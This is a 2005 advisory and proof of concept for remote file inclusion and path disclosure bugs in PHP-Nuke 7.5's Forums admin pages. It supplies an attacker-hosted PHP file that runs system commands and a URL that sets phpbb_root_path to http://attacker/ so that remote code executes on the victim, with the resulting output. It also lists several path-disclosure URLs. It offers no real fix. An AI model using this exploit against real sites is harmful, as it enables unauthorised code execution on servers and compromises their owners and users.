PHP-Nuke version 7.5 remote code execution exploit.
b07b52721366f8210a369cf5ea7fb60b1d2d1108f367ea9b3eb53b8641382132
----
**********************************************************
* *
* sile002 advisory + PoC *
* *
* PRODUCT: PHP-Nuke *
* VERSION: 7.5 but others versions *
* maybe either vulnerables *
* *
* VENDOR: http://www.phpnuke.org *
* VULNERABILITY: Multiple vulnerability *
* RISK: Hight *
* *
* Found by: Silentium of Anacron Group Italy *
* date: 02/05/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: http://www.autistici.org/anacron-group-italy *
* *
**********************************************************
General product info
--------------------
PHP-Nuke is a Web Portal System.
PHP-Nuke is free software, released under GNU GPL Licence version 2.0
PHP-Nuke is the result of many years administrating a news site called
Linux Preview (http://linuxpreview.org)....bla..bla..bla ;\
General bug info
----------------
I have found one PHP injection vulnerability
relative at Forums module into page
/modules/Forums/admin/admin_styles.php
The vulnerable variable is $phpbb_root_path
This wait for common.php page, but an attacker
can link remote 'common.php' page, and execute
remote code on vulnerable machine.
An attacker can to create own php page and uploading
it into own web server; example of page
cat common.php
<?
// This is simple attacker common.php page
// for execute remote code on machines vulnerable
// at PHP injection found on PHP-Nuke v7.5 by Silentium
system("id;uname -a");
?>
Exploiting this bug
-------------------
1) [PHP Injection + Path Disclosure]
Input in your browser:
http://www.victim.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=http://attacker/
Output from web server:
uid=80(www) gid=80(www)
Linux victim 2.4.27 #6 Tue Oct 18 15:24:11 PDT 2003 i686 unknown unknown GNU/Linux
Fatal error: Call to undefined function: message_die() in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 81
The PHP injection to produce also an error showing the path of web server:
/var/www/htdocs
2) [Path Disclosure]
Input in your browser:
http://www.victim.com/modules/Forums/admin/admin_forums.php?phpEx=silentium
http://www.victim.com/modules/Forums/admin/admin_disallow.php?phpEx=silentium
http://www.victim.com/modules/Forums/admin/admin_smilies.php?phpEx=silentium
http://www.victim.com/modules/Forums/admin/admin_board.php?phpEx=silentium
http://www.victim.com/modules/Forums/admin/admin_users.php?phpEx=silentium
http://www.victim.com/modules/Forums/admin/admin_mass_email.php?phpEx=silentium
http://www.victim.com/modules/Forums/admin/admin_forum_prune.php?phpEx=silentium
Output from web server:
Warning: main(./../common.silentium): failed to open stream: No such file or
directory in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 68
Warning: main(): Failed opening './../common.silentium' for inclusion
(include_path='.:/usr/local/lib/php') in /var/www/htdocs/modules/Forums/admin/pagestart.php
on line 68
Fatal error: Call to undefined function: message_die()
in /var/www/htdocs/modules/Forums/admin/pagestart.php on line 81
OR
Input in your browser:
http://www.victim.com/db/db.php?the_include=silentium
Output from web server:
Fatal error: Cannot instantiate non-existent class: sql_db in
/var/www/htdocs/db/db.php on line 86
Patching this bug
-----------------
You dont use stupid and ever bugged ;\ PHP-Nuke product,
if you need also an little security !!!